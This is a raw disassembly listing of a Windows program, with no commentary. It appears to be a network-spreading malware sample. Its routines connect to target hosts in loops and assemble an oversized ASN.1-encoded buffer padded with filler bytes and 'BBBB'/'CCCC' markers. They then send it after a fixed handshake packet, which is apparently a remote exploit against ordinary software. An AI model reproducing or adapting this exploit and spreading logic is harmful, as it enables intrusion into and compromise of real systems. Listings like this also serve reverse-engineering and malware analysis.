		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0F4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0F0[eax*8]
		push	eax
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431ADC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0F4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0F0
		nop
		call	near ptr 26D0713h


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0F4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEEC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB030
		push	eax
		mov	edi, offset dword_4CDAB4
		push	offset dword_431BBC
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB03C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BE468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2263F13h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4282E8FCh, 0FF900224h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh
		dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h,	50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh,	3868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 263E22E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2244190h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh,	0C68FFFFh
		dd 5000431Ch, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE5C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C91C
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C70
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C78
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FF4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C7C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FE8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FE4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FE0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FD4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FCF+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAFBC


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAFA0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFF4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431D0C
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D3C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDCBC
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C84
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
